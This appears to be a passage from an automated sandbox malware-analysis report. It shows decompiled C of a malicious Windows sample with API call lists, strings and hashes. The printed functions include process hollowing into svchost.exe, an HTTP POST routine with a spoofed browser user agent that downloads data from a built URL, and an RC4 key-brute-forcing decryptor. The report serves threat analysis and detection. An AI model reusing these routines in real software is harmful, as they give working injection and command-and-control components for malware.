								VirtualFree(_v56, 0, 0x8000); // executed
								VirtualFree(_v60, 0, 0x8000); // executed
								goto L82;
							} else {
								_v424 = "http://www.%s";
								_t318 = lstrlenA(_v64);
								if(_t318 + lstrlenA(_v424) >= 0x100) {
									goto L81;
								}
								wsprintfA( &_v420, _v424, _v64);
								_t638 = _t638 + 0xc;
								_v428 = 0x100000;
								if(CryptBinaryToStringA(_v56, _v76, 0x40000001, _v60,  &_v428) == 0) {
									goto L81;
								}
								_v956 = 0;
								_v432 = 0;
								MultiByteToWideChar(1, 1,  &_v420, 0xffffffff,  &_v948, 0x100);
								_v952 = 0;
								_t328 = E040017D0( &_v420,  &_v420, _v60, _v428,  &_v956,  &_v432, 0xea60,  &_v952); // executed
								_t638 = _t638 + 0x1c;
								_v436 = _t328;
								if(_v436 <= 0) {
									L79:
									if(_v956 != 0) {
										VirtualFree(_v956, 0, 0x8000); // executed
									}
									goto L81;
								}
								if(_v436 < 0x100 || _v952 >= 0x1f4) {
									if( *0x40118a4 != 1) {
										goto L70;
									}
									VirtualFree(_v956, 0, 0x8000); // executed
									_v956 = 0;
									_v432 = 0;
									_v960 = 0;
									while(_v960 < 4) {
										_t358 = E040017D0(_v428,  &_v420, _v60, _v428,  &_v956,  &_v432, 0xea60,  &_v952); // executed
										_t638 = _t638 + 0x1c;
										_v436 = _t358;
										if(_v436 > 0x100 || _v952 < 0x1f4) {
											goto L70;
										} else {
											_v960 = _v960 + 1;
											continue;
										}
									}
									goto L70;
								} else {
									L70:
									if(_v436 > 0) {
										EnterCriticalSection(_v12 + 0xc);
										if( *(_v12 + 4) != 0) {
											_v968 =  *(_v12 + 8) + _v436;
											_t333 = VirtualAlloc(0, _v968, 0x3000, 4); // executed
											_v964 = _t333;
											if(_v964 != 0) {
												if(GetTickCount() % 2 != 0) {
													E04007B70(_v964, _v956, _v436);
													E04007B70(_v964 + _v436,  *(_v12 + 4),  *(_v12 + 8));
													_t638 = _t638 + 0x18;
												} else {
													E04007B70(_v964,  *(_v12 + 4),  *(_v12 + 8));
													E04007B70(_v964 +  *(_v12 + 8), _v956, _v436);
													_t638 = _t638 + 0x18;
												}
												 *(_v12 + 8) =  *(_v12 + 8) + _v436;
												VirtualFree( *(_v12 + 4), 0, 0x8000); // executed
												 *(_v12 + 4) = _v964;
											}
										} else {
											_t351 = VirtualAlloc(0, _v436, 0x3000, 4); // executed
											 *(_v12 + 4) = _t351;
											E04007B70( *(_v12 + 4), _v956, _v436);
											_t638 = _t638 + 0xc;
											 *(_v12 + 8) = _v436;
										}
										LeaveCriticalSection(_v12 + 0xc);
									}
									goto L79;
								}
							}
						}
					}
					goto L83;
				}
			}

0x04004bac
0x04004bb5
0x04004bbc
0x040056f0
0x040056f0
0x040056fc
0x04004bc2
0x04004bcc
0x04004bd1
0x04004bdb
0x04004be1
0x04004beb
0x04004bf9
0x04004c31
0x04004c34
0x04004c49
0x04004c4f
0x04004c60
0x04004c66
0x04004c77
0x04004c7d
0x04004c84
0x040056eb
0x04004bf6
0x00000000
0x04004c9e
0x04004ca1
0x04004ca4
0x04004cb6
0x04004cb3
0x04004cb3
0x040052a8
0x040052b2
0x040052eb
0x040052f3
0x0400530e
0x04005313
0x04005322
0x04005322
0x0400532b
0x0400533f
0x04005344
0x04005347
0x0400534e
0x040056b8
0x040056c3
0x040056d4
0x040056e5
0x00000000
0x04005354
0x04005354
0x04005362
0x0400537f
0x00000000
0x00000000
0x04005397
0x0400539d
0x040053a0
0x040053ca
0x00000000
0x00000000
0x040053d0
0x040053da
0x040053fd
0x04005403
0x04005439
0x0400543e
0x04005441
0x0400544e
0x0400569b
0x040056a2
0x040056b2
0x040056b2
0x00000000
0x040056a2
0x0400545e
0x04005477
0x00000000
0x00000000
0x0400548b
0x04005491
0x0400549b
0x040054a5
0x040054c0
0x040054f5
0x040054fa
0x040054fd
0x0400550d
0x00000000
0x0400551d
0x040054ba
0x00000000
0x040054ba
0x0400550d
0x00000000
0x0400551f
0x0400551f
0x04005526
0x04005533
0x04005540
0x04005598
0x040055ae
0x040055b4
0x040055c1
0x040055d8
0x04005631
0x04005654
0x04005659
0x040055da
0x040055ef
0x04005612
0x04005617
0x04005617
0x0400566b
0x0400567c
0x0400568b
0x0400568b
0x04005542
0x04005552
0x0400555b
0x04005573
0x04005578
0x04005584
0x04005584
0x04005695
0x04005695
0x00000000
0x04005526
0x0400545e
0x0400534e
0x04004c84
0x00000000
0x04004bf9

APIs

CoInitialize.OLE32(00000000), ref: 04004BAC
SetEvent.KERNEL32(?), ref: 04004BDB
WaitForSingleObject.KERNEL32(0000EA60,0000000A), ref: 04004C19
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 04004C49
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 04004C60
VirtualAlloc.KERNEL32(00000000,00100000,00003000,00000004), ref: 04004C77
CoUninitialize.OLE32 ref: 040056F0

Strings

`, xrefs: 04004BE1
, xrefs: 04004EF0
pigalicapi, xrefs: 04005041, 04005080

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: AllocVirtual$EventInitializeObjectSingleUninitializeWait
String ID: $`$pigalicapi
API String ID: 1834614700-42206024
Opcode ID: 0b588b8632747e3a4410319c3fb32f93fea484f2e03b927fbc22a93c38a5764c
Instruction ID: f4bd0befb8abd7887e3d73177c72bf7f141d25b4899fa760b57ca1a426edb567
Opcode Fuzzy Hash: 0b588b8632747e3a4410319c3fb32f93fea484f2e03b927fbc22a93c38a5764c
Instruction Fuzzy Hash: 39628DB1D00218ABFB14DBA0DC84FEDB7B9AF49309F04C559E6057B281E775AA84CF61

Uniqueness

Uniqueness Score: -1.00%

Function 040020B0 Relevance: 61.6, APIs: 32, Strings: 3, Instructions: 300
memorystringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E040020B0(intOrPtr _a4, signed char _a8, CHAR* _a12) {
				long _v8;
				void* _v12;
				char _v276;
				struct _CONTEXT _v996;
				struct _PROCESS_INFORMATION _v1012;
				intOrPtr _v1016;
				struct _STARTUPINFOA _v1092;
				intOrPtr _v1096;
				void _v1100;
				signed int _v1104;
				CHAR* _t121;
				void* _t128;
				int _t130;
				void* _t132;
				int _t140;
				int _t143;
				int _t145;
				int _t148;
				void* _t180;
				void* _t263;
				void* _t265;
				void* _t266;

				if(_a4 == 0) {
					L26:
					return 0;
				}
				GetEnvironmentVariableA("SystemRoot",  &_v276, 0x104);
				_t121 = lstrcatA( &_v276, "\\system32\\svchost.exe");
				if(_a12 != 0) {
					lstrcatA( &_v276, " ");
					_t121 = lstrcatA( &_v276, _a12);
				}
				E04007D20(_t121,  &_v1012, 0, 0x10);
				E04007D20( &_v1092,  &_v1092, 0, 0x44);
				_t265 = _t263 + 0x18;
				_v1092.cb = 0x44;
				_v1096 = _a4 +  *((intOrPtr*)(_a4 + 0x3c));
				_v1016 = _v1096 + ( *(_v1096 + 0x14) & 0x0000ffff) + 0x18;
				_v8 =  *((intOrPtr*)(_v1096 + 0x50));
				_t128 = VirtualAlloc(0, _v8, 0x3000, 0x40); // executed
				_v12 = _t128;
				if(_v12 != 0) {
					_t130 = CreateProcessA(0,  &_v276, 0, 0, 0, 4, 0, 0,  &_v1092,  &_v1012); // executed
					if(_t130 != 0) {
						_t132 = VirtualAllocEx(_v1012.hProcess,  *(_v1096 + 0x34), _v8, 0x3000, 0x40); // executed
						_v1100 = _t132;
						if(_v1100 != 0) {
							L10:
							E04007B70(_v12, _a4,  *((intOrPtr*)(_v1096 + 0x54)));
							_t266 = _t265 + 0xc;
							_v1104 = 0;
							while(_v1104 < ( *(_v1096 + 6) & 0x0000ffff)) {
								if((_a8 & 0x000000ff) != 0) {
									E04007B70(_v12 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)), _a4 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)),  *((intOrPtr*)(_v1016 + 0x10 + _v1104 * 0x28)));
									_t266 = _t266 + 0xc;
								} else {
									E04007B70(_v12 +  *((intOrPtr*)(_v1016 + 0xc + _v1104 * 0x28)), _a4 +  *((intOrPtr*)(_v1016 + 0x14 + _v1104 * 0x28)),  *((intOrPtr*)(_v1016 + 0x10 + _v1104 * 0x28)));
									_t266 = _t266 + 0xc;
								}
								_v1104 = _v1104 + 1;
							}
							E040026D0(_v12, _v1100);
							_t140 = WriteProcessMemory(_v1012.hProcess, _v1100, _v12, _v8, 0); // executed
							if(_t140 != 0) {
								VirtualFree(_v12, 0, 0x8000); // executed
								_v996.ContextFlags = 0x10007;
								_t143 = GetThreadContext(_v1012.hThread,  &_v996); // executed
								if(_t143 != 0) {
									_t145 = WriteProcessMemory(_v1012.hProcess, _v996.Ebx + 8,  &_v1100, 4, 0); // executed
									if(_t145 != 0) {
										_v996.Eax = _v1100 +  *((intOrPtr*)(_v1096 + 0x28));
										_t148 = SetThreadContext(_v1012.hThread,  &_v996); // executed
										if(_t148 == 0) {
											TerminateProcess(_v1012.hProcess, 0);
											CloseHandle(_v1012.hThread);
											CloseHandle(_v1012.hProcess);
											goto L26;
										}
										ResumeThread(_v1012.hThread); // executed
										return _v1012.hProcess;
									}
									TerminateProcess(_v1012.hProcess, 0);
									CloseHandle(_v1012.hProcess);
									CloseHandle(_v1012.hThread);
									return 0;
								}
								TerminateProcess(_v1012.hProcess, 0);
								CloseHandle(_v1012.hProcess);
								CloseHandle(_v1012.hThread);
								return 0;
							}
							TerminateProcess(_v1012.hProcess, 0);
							CloseHandle(_v1012.hProcess);
							CloseHandle(_v1012.hThread);
							VirtualFree(_v12, 0, 0x8000);
							return 0;
						}
						_t180 = VirtualAllocEx(_v1012.hProcess, 0, _v8, 0x103000, 0x40); // executed
						_v1100 = _t180;
						if(_v1100 != 0) {
							goto L10;
						}
						TerminateProcess(_v1012.hProcess, 0);
						CloseHandle(_v1012);
						CloseHandle(_v1012.hThread);
						VirtualFree(_v12, 0, 0x8000);
						return 0;
					}
					VirtualFree(_v12, 0, 0x8000);
					return 0;
				} else {
					return 0;
				}
			}

0x040020bd
0x04002502
0x00000000
0x04002502
0x040020d4
0x040020e6
0x040020f0
0x040020fe
0x0400210f
0x0400210f
0x04002120
0x04002133
0x04002138
0x0400213b
0x0400214e
0x04002168
0x04002177
0x04002187
0x0400218d
0x04002194
0x040021c0
0x040021c8
0x040021fe
0x04002204
0x04002211
0x0400227d
0x0400228f
0x04002294
0x04002297
0x040022b2
0x040022ce
0x0400235e
0x04002363
0x040022d0
0x04002312
0x04002317
0x04002317
0x040022ac
0x040022ac
0x04002376
0x04002396
0x0400239e
0x040023ec
0x040023f2
0x0400240a
0x04002412
0x04002460
0x04002468
0x040024a6
0x040024ba
0x040024c2
0x040024e2
0x040024ef
0x040024fc
0x00000000
0x040024fc
0x040024cb
0x00000000
0x040024d1
0x04002473
0x04002480
0x0400248d
0x00000000
0x04002493
0x0400241d
0x0400242a
0x04002437
0x00000000
0x0400243d
0x040023a9
0x040023b6
0x040023c3
0x040023d4
0x00000000
0x040023da
0x04002227
0x0400222d
0x0400223a
0x00000000
0x00000000
0x04002245
0x04002252
0x0400225f
0x04002270
0x00000000
0x04002276
0x040021d5
0x00000000
0x04002196
0x00000000
0x04002196

APIs

GetEnvironmentVariableA.KERNEL32(SystemRoot,?,00000104), ref: 040020D4
lstrcatA.KERNEL32(?,\system32\svchost.exe), ref: 040020E6
lstrcatA.KERNEL32(?,0400C38C), ref: 040020FE
lstrcatA.KERNEL32(?,00000000), ref: 0400210F
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 04002187
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?), ref: 040021C0
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040021D5
VirtualAllocEx.KERNEL32(?,00000000,?,00003000,00000040), ref: 040021FE
VirtualAllocEx.KERNELBASE(?,00000000,?,00103000,00000040), ref: 04002227
TerminateProcess.KERNEL32(?,00000000), ref: 04002245
CloseHandle.KERNEL32(?), ref: 04002252
CloseHandle.KERNEL32(?), ref: 0400225F
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04002270

Strings

D, xrefs: 0400213B
SystemRoot, xrefs: 040020CF
\system32\svchost.exe, xrefs: 040020DA

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Virtual$Alloclstrcat$CloseFreeHandleProcess$CreateEnvironmentTerminateVariable
String ID: D$SystemRoot$\system32\svchost.exe
API String ID: 1819736980-1559310322
Opcode ID: 618df5bf54c1a5a0a6d1612c0a6f02d09146bff70f4639aa179a0dfbd2a6d315
Instruction ID: 24de31acf85f81f6cd7956eb3c6d21bf067972eab508d3ad9c1f9881985dd567
Opcode Fuzzy Hash: 618df5bf54c1a5a0a6d1612c0a6f02d09146bff70f4639aa179a0dfbd2a6d315
Instruction Fuzzy Hash: 27D13F71A44215ABEB28DF54CC94FAE77B9FB48304F0486D8F609B7281D678AE80CF55

Uniqueness

Uniqueness Score: -1.00%

Function 04001840 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 260
networkfilememoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04001840(char* _a4, void* _a8, long _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr* _a24, intOrPtr _a28, intOrPtr* _a32) {
				long _v8;
				char _v276;
				char _v1300;
				char _v1564;
				void* _v1568;
				void* _v1572;
				char* _v1576;
				intOrPtr _v1588;
				char* _v1592;
				signed short _v1612;
				intOrPtr _v1616;
				char* _v1620;
				void* _v1636;
				void* _v1640;
				void* _v1644;
				void* _v1648;
				long _v1652;
				void _v1656;
				void _v1916;
				long _v1920;
				long _v1924;
				long _v1928;
				void* _v1932;
				intOrPtr _v1936;
				long _v1940;
				long _v1944;
				long _v1948;
				void _v2972;
				long _v2976;
				int _t116;
				void* _t117;
				void* _t119;
				void* _t123;
				int _t133;
				void* _t143;
				long _t151;
				void* _t194;
				void* _t195;
				void* _t196;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L37:
					return _v8;
				} else {
					_v1644 = 0;
					_v1640 = 0;
					_v1568 = 0;
					_v1576 = "*/*";
					_v1572 = 0;
					E04007D20( &_v1636,  &_v1636, 0, 0x3c);
					_t195 = _t194 + 0xc;
					_v1636 = 0x3c;
					_v1620 =  &_v1564;
					_v1616 = 0x104;
					_v1592 =  &_v276;
					_v1588 = 0x104;
					_t116 = InternetCrackUrlA(_a4, 0, 0,  &_v1636); // executed
					if(_t116 == 0) {
						goto L37;
					}
					_t117 = InternetOpenA("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)", 1, 0, 0, 0); // executed
					_v1644 = _t117;
					if(_v1644 == 0) {
						goto L37;
					}
					_t119 = InternetConnectA(_v1644, _v1620, _v1612 & 0x0000ffff, 0, 0, 3, 0, 0); // executed
					_v1640 = _t119;
					if(_v1640 == 0) {
						L36:
						InternetCloseHandle(_v1644);
						goto L37;
					}
					_t123 = HttpOpenRequestA(_v1640, "POST", _v1592, 0, 0,  &_v1576, 0x200300, 0); // executed
					_v1568 = _t123;
					if(_v1568 == 0) {
						L35:
						InternetCloseHandle(_v1640);
						goto L36;
					}
					wnsprintfA( &_v1300, 0x400, "Accept-Language: en-us\r\nContent-Type: application/octet-stream\r\nContent-Length: %d\r\n", _a12);
					_t196 = _t195 + 0x10;
					if(HttpAddRequestHeadersA(_v1568,  &_v1300, 0xffffffff, 0) == 0) {
						L34:
						InternetCloseHandle(_v1568); // executed
						goto L35;
					}
					_v1656 = 0x7530;
					if(_a28 > 0) {
						_v1656 = _a28;
					}
					InternetSetOptionA(_v1568, 6,  &_v1656, 4);
					_v1652 = 1;
					_v1648 = 0;
					do {
						_v1920 = 0x100;
						E04007D20( &_v1916,  &_v1916, 0, 0x100);
						_t196 = _t196 + 0xc;
						_v1924 = 0;
						_t133 = HttpSendRequestA(_v1568, 0, 0, _a8, _a12); // executed
						if(_t133 == 0) {
							goto L32;
						}
						if(HttpQueryInfoA(_v1568, 0x13,  &_v1916,  &_v1920,  &_v1924) != 0) {
							_t137 = E04007DD0( &_v1916);
							_t196 = _t196 + 4;
							_v1936 = _t137;
							if(_a32 != 0) {
								_t137 = _a32;
								 *_a32 = _v1936;
							}
						}
						E04007D20(_t137,  &_v1916, 0, 0x100);
						_t196 = _t196 + 0xc;
						_v1928 = 0x500000;
						if(HttpQueryInfoA(_v1568, 5,  &_v1916,  &_v1920,  &_v1924) != 0) {
							_t151 = E04007DD0( &_v1916);
							_t196 = _t196 + 4;
							_v1940 = _t151;
							if(_v1940 > 0 && _v1940 < 0x40000000) {
								_v1928 = _v1940;
							}
						}
						_t143 = VirtualAlloc(0, _v1928, 0x3000, 4); // executed
						_v1932 = _t143;
						if(_v1932 == 0) {
							_v2976 = 0;
							do {
								InternetReadFile(_v1568,  &_v2972, 0x400,  &_v2976);
							} while (_v2976 > 0);
						} else {
							 *_a16 = _v1932;
							 *_a20 = _v1928;
							_v8 = 1;
							_v1944 = _v1928;
							while(1) {
								_v1948 = 0;
								InternetReadFile(_v1568, _v1932, _v1944,  &_v1948); // executed
								if(_a24 != 0) {
									 *_a24 =  *_a24 + _v1948;
								}
								if(_v1948 == 0) {
									break;
								}
								_v1932 = _v1932 + _v1948;
								_v1944 = _v1944 - _v1948;
								if(_v1944 > 0) {
									continue;
								}
								L29:
								goto L32;
							}
							goto L29;
						}
						L32:
						_v1648 = _v1648 + 1;
					} while (_v8 == 0 && _v1648 < 1);
					goto L34;
				}
			}

0x04001849
0x04001854
0x04001c95
0x04001c9b
0x04001878
0x04001878
0x04001882
0x0400188c
0x04001896
0x040018a0
0x040018b5
0x040018ba
0x040018bd
0x040018cd
0x040018d3
0x040018e3
0x040018e9
0x04001902
0x0400190a
0x00000000
0x00000000
0x0400191d
0x04001923
0x04001930
0x00000000
0x00000000
0x04001956
0x0400195c
0x04001969
0x04001c88
0x04001c8f
0x00000000
0x04001c8f
0x04001994
0x0400199a
0x040019a7
0x04001c7b
0x04001c82
0x00000000
0x04001c82
0x040019c2
0x040019c8
0x040019e5
0x04001c6e
0x04001c75
0x00000000
0x04001c75
0x040019eb
0x040019f9
0x040019fe
0x040019fe
0x04001a16
0x04001a1c
0x04001a26
0x04001a30
0x04001a30
0x04001a48
0x04001a4d
0x04001a50
0x04001a6d
0x04001a75
0x00000000
0x00000000
0x04001aa1
0x04001aaa
0x04001aaf
0x04001ab2
0x04001abc
0x04001abe
0x04001ac7
0x04001ac7
0x04001abc
0x04001ad7
0x04001adc
0x04001adf
0x04001b0f
0x04001b18
0x04001b1d
0x04001b20
0x04001b2d
0x04001b41
0x04001b41
0x04001b2d
0x04001b57
0x04001b5d
0x04001b6a
0x04001c19
0x04001c23
0x04001c3d
0x04001c43
0x04001b70
0x04001b79
0x04001b84
0x04001b86
0x04001b93
0x04001b99
0x04001b99
0x04001bbf
0x04001bc9
0x04001bd9
0x04001bd9
0x04001be2
0x00000000
0x00000000
0x04001bf2
0x04001c04
0x04001c11
0x00000000
0x04001c15
0x04001c17
0x00000000
0x04001c17
0x00000000
0x04001be4
0x04001c4c
0x04001c55
0x04001c5b
0x00000000
0x04001a30

APIs

InternetCrackUrlA.WININET(00000000,00000000,00000000,0000003C), ref: 04001902
InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1),00000001,00000000,00000000,00000000), ref: 0400191D
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 04001956
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,0400C2C8,00200300,00000000), ref: 04001994
wnsprintfA.SHLWAPI ref: 040019C2
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,00000000), ref: 040019DD
InternetSetOptionA.WININET(00000000,00000006,00007530,00000004), ref: 04001A16
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 04001A6D
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 04001A99
HttpQueryInfoA.WININET(00000000,00000005,?,00000100,00000000), ref: 04001B07
VirtualAlloc.KERNEL32(00000000,00500000,00003000,00000004), ref: 04001B57
InternetReadFile.WININET(00000000,00000000,?,00000000), ref: 04001BBF
InternetReadFile.WININET(00000000,?,00000400,00000000), ref: 04001C3D
InternetCloseHandle.WININET(00000000), ref: 04001C75
InternetCloseHandle.WININET(00000000), ref: 04001C82
InternetCloseHandle.WININET(00000000), ref: 04001C8F

Strings

0u, xrefs: 040019EB
<, xrefs: 040018BD
POST, xrefs: 04001988
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1), xrefs: 04001918
Accept-Language: en-usContent-Type: application/octet-streamContent-Length: %d, xrefs: 040019B1

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Internet$Http$CloseHandleRequest$FileInfoOpenQueryRead$AllocConnectCrackHeadersOptionSendVirtualwnsprintf
String ID: 0u$<$Accept-Language: en-usContent-Type: application/octet-streamContent-Length: %d$Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)$POST
API String ID: 880997049-2804282621
Opcode ID: d9d4cb28da70c868705f456cd8ab0708f990bc07d580d9120d59bd3b3f766fdd
Instruction ID: 104ecec6680c69d5e391cf9d7718dbecb1b5f59d1f4ca396f8eadafade2250d2
Opcode Fuzzy Hash: d9d4cb28da70c868705f456cd8ab0708f990bc07d580d9120d59bd3b3f766fdd
Instruction Fuzzy Hash: 89C10BB19442189BFB64CF50CC49FD9B7B5EB88704F0481D9E60DAA2C0DB7AAAD4CF50

Uniqueness

Uniqueness Score: -1.00%

Function 040047F0 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 178
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E040047F0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v5;
				long* _v12;
				char _v28;
				char _v764;
				char _v780;
				intOrPtr _v784;
				char _v788;
				int _v792;
				int _v796;
				intOrPtr _v800;
				long* _v804;
				int _v808;
				int _v812;
				char _v816;
				int _v820;
				char _v824;
				char _v828;
				char _v844;
				int _t61;
				char* _t67;
				intOrPtr _t68;
				int _t69;
				char* _t73;
				intOrPtr _t74;
				intOrPtr _t76;
				intOrPtr _t77;
				signed char _t78;
				void* _t109;

				_v5 = 0;
				if(_a4 == 0 || _a8 <= 0x300) {
					L25:
					return _v5;
				} else {
					_v12 = 0;
					_t61 = CryptAcquireContextA( &_v12, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t61 == 0 && GetLastError() == 0x80090016) {
						CryptAcquireContextA( &_v12, 0, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8); // executed
					}
					if(_v12 != 0) {
						_v788 = 0x10;
						_v784 = 0x10;
						_v792 = 0;
						while(_v792 < _a8 - 0x2ff) {
							E04007B70( &_v780, _a4 + _v792, 0x300);
							_t109 = _t109 + 0xc;
							_t67 =  &_v780;
							_v800 = _t67;
							_v796 = 0;
							__imp__CryptCreateHash(_v12, 0x8003, 0, 0,  &_v796);
							if(_t67 == 0) {
								L21:
								if((_v5 & 0x000000ff) == 0) {
									_v792 = _v792 + 1;
									continue;
								}
								break;
							}
							_t68 = _v800;
							__imp__CryptHashData(_v796, _t68, 0x10, 0);
							if(_t68 != 0) {
								_v804 = 0;
								_t69 = _v796;
								__imp__CryptDeriveKey(_v12, 0x6801, _t69, 1,  &_v804); // executed
								if(_t69 != 0) {
									_v812 = 0x2f0;
									_v808 = CryptDecrypt(_v804, 0, 1, 0,  &_v764,  &_v812);
									CryptDestroyKey(_v804);
									if(_v808 != 0) {
										_t73 =  &_v816;
										__imp__CryptCreateHash(_v12, 0x8003, 0, 0, _t73);
										if(_t73 != 0) {
											_t74 = _v816;
											__imp__CryptHashData(_t74,  &_v780, 0x2f0, 0);
											if(_t74 != 0) {
												_v820 = 0;
												_v824 = 4;
												_t76 = _v816;
												__imp__CryptGetHashParam(_t76, 4,  &_v820,  &_v824, 0);
												if(_t76 != 0) {
													_v828 = 0x10;
													_t77 = _v816;
													__imp__CryptGetHashParam(_t77, 2,  &_v844,  &_v828, 0);
													if(_t77 != 0) {
														_t78 = E04007C70( &_v28,  &_v844,  &_v28, 0x10);
														_t109 = _t109 + 0xc;
														if((_t78 & 0x000000ff) != 0) {
															E04007B70(_a12,  &_v780, 0x300);
															_t109 = _t109 + 0xc;
															_v5 = 1;
														}
													}
												}
											}
											__imp__CryptDestroyHash(_v816);
										}
									}
								}
							}
							__imp__CryptDestroyHash(_v796);
							goto L21;
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L25;
				}
			}

0x040047f9
0x04004801
0x04004aab
0x04004ab1
0x04004814
0x04004814
0x0400482a
0x04004832
0x04004850
0x04004850
0x0400485a
0x04004860
0x0400486a
0x04004874
0x0400488f
0x040048b9
0x040048be
0x040048c1
0x040048c7
0x040048cd
0x040048eb
0x040048f3
0x04004a90
0x04004a96
0x04004889
0x00000000
0x04004889
0x00000000
0x04004a98
0x040048fd
0x0400490b
0x04004913
0x04004919
0x0400492c
0x0400493c
0x04004944
0x0400494a
0x04004975
0x04004982
0x0400498f
0x04004995
0x040049a9
0x040049b1
0x040049c5
0x040049cc
0x040049d4
0x040049da
0x040049e4
0x04004a00
0x04004a07
0x04004a0f
0x04004a11
0x04004a2d
0x04004a34
0x04004a3c
0x04004a4b
0x04004a50
0x04004a58
0x04004a6a
0x04004a6f
0x04004a72
0x04004a72
0x04004a58
0x04004a3c
0x04004a0f
0x04004a7d
0x04004a7d
0x040049b1
0x0400498f
0x04004944
0x04004a8a
0x00000000
0x04004a8a
0x04004aa5
0x04004aa5
0x00000000
0x0400485a

APIs

CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 0400482A
GetLastError.KERNEL32 ref: 04004834
CryptAcquireContextA.ADVAPI32(00000000,00000000,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04004850
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 040048EB
CryptHashData.ADVAPI32(00000000,?,00000010,00000000), ref: 0400490B
CryptDeriveKey.ADVAPI32(00000000,00006801,00000000,00000001,00000000), ref: 0400493C
CryptDecrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,000002F0), ref: 0400496F
CryptDestroyKey.ADVAPI32(00000000), ref: 04004982
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,?), ref: 040049A9
CryptHashData.ADVAPI32(?,?,000002F0,00000000), ref: 040049CC
CryptGetHashParam.ADVAPI32(?,00000004,00000000,00000004,00000000), ref: 04004A07

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 0400481F
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04004845

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Crypt$Hash$AcquireContextCreateData$DecryptDeriveDestroyErrorLastParam
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 2739279601-947817771
Opcode ID: 42090ebe0b84d1e6b92d05052a41d8df984fe46a239ada941c44efd33afc4f41
Instruction ID: 68028e15a08110d1318f396c41aabee13b9dff780772823a15a50aa733777c46
Opcode Fuzzy Hash: 42090ebe0b84d1e6b92d05052a41d8df984fe46a239ada941c44efd33afc4f41
Instruction Fuzzy Hash: 7E71DF71A54318ABFB65CF50CC45BED77BCAB48B04F408598A605BA1C0DBB9ABC4CF54

Uniqueness

Uniqueness Score: -1.00%

